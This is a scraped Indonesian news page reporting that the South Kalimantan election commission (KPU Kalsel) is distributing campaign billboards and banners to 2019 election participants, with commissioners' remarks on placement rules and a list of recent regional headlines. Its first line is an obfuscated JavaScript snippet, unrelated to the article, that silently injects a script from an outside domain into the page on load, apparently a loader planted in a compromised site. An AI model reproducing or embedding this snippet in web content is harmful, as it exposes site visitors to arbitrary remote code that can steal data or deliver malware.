(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

KPU Kalsel Bagikan Alat Peraga Kampanye untuk Peserta Pemilu


BANJARMASIN, Memasuki masa kampanye pemilu, KPU Kalsel mulai membagikan alat peraga kampanye (APK) kepada peserta Pemilu 2019 pada Senin (19/11). APK yang dibagikan meliputi baliho dan spanduk sesuai jumlah yang telah ditetapkan.

Alat peraga kampanye dibagikan kepada peserta pemilu yang terdiri dari Pasangan Calon Pilpres, Partai Politik, dan Calon Anggota DPD RI. Untuk baliho Paslon Pilpres berjumlah 16 lembar ukuran 3×5 meter bentuk potrait, sedangkan baliho Partai Politik berjumlah 11 lembar dan khusus Calon Legislatif DPD RI sebanyak 5 baliho.

Sementara di tingkat Kabupaten/Kota, KPU memfasilitasi baliho 10 lembar untuk Pasangan Calon Pilpres dan 10 lembar khusus Partai Politik. APK lainnya berupa spanduk yang disediakan berjumlah 16 untuk Pasangan Calon Pilpres, 16 bagi Partai Politik dan 10 kepada Calon Anggota DPD RI.

Komisioner KPU Kalsel Hatmiati meminta kepada para peserta pemilu agar memanfaatkan masa kampanye sekarang sebijak mungkin dan tidak melanggar aturan pemasangan APK. “Penyerahan APK sesuai aturan PKPU Nomor 23 tahun 2018. Setelah ini mereka dapat membuat APK tambahan. Kita sudah rapat beberapa kali denga peserta Pemilu, penempatan itu dilakukan berdasarkan kesepakatan dan mengacu aturan Pemerintah Daerah, yaitu tempat-tempat yang dilarang,” katanya kepada wartawan di KPU Kalsel.

Penambahan APK yang diperbolehkan kepada peserta pemilu tersebut. Diantaranya baliho maksimal 5 buah dan spanduk 10 lembar dikalikan jumlah Desa/Kelurahan di masing-masing Kabupaten/Kota.

Sementara itu, komisioner Bawaslu Kalsel, Erna Kaspiah mengatakan pihaknya terus melakukan pengawasan terkait pemasangan APK oleh Peserta Pemilu. Khususnya APK tambahan yang lebih awal terpasang di sejumlah titik.

“Kalau kurang dari lima itu kita biarkan. Namun apa bila lebih yang terpasang, akan kita koordinasikan ke peserta politik, meminta melepaskannya. Ada dibeberpaa daerah bahwa ini sudah lebih,” katanya.(mario)


Desy Arfianty

Recent Posts

Kabur saat Diperiksa di Kejari Banjar, Akhirnya Polisi Tangkap Kades P di Tanbu

KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More

4 jam ago

BPBD Banjarmasin Catat Dua Kebakaran dalam Sehari

KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More

4 jam ago

Jembatan Guntung Manggis – Trikora Sudah Dilintasi, Dishub Kalsel Masih Kaji Rekayasa Lalin

KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More

5 jam ago

Diprediksi 3 Juta Lebih Jemaah Ikuti Rutin Malam Senin 5 Rajab di Sekumpul

Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More

5 jam ago

Bawa Sabu 49 Gram, Dua Lelaki Ditangkap di Pemurus Luar

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More

19 jam ago

Parkir Inap Kawasan Bandara Syamsudin Noor Meningkat saat Libur Nataru

KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More

1 hari ago

This website uses cookies.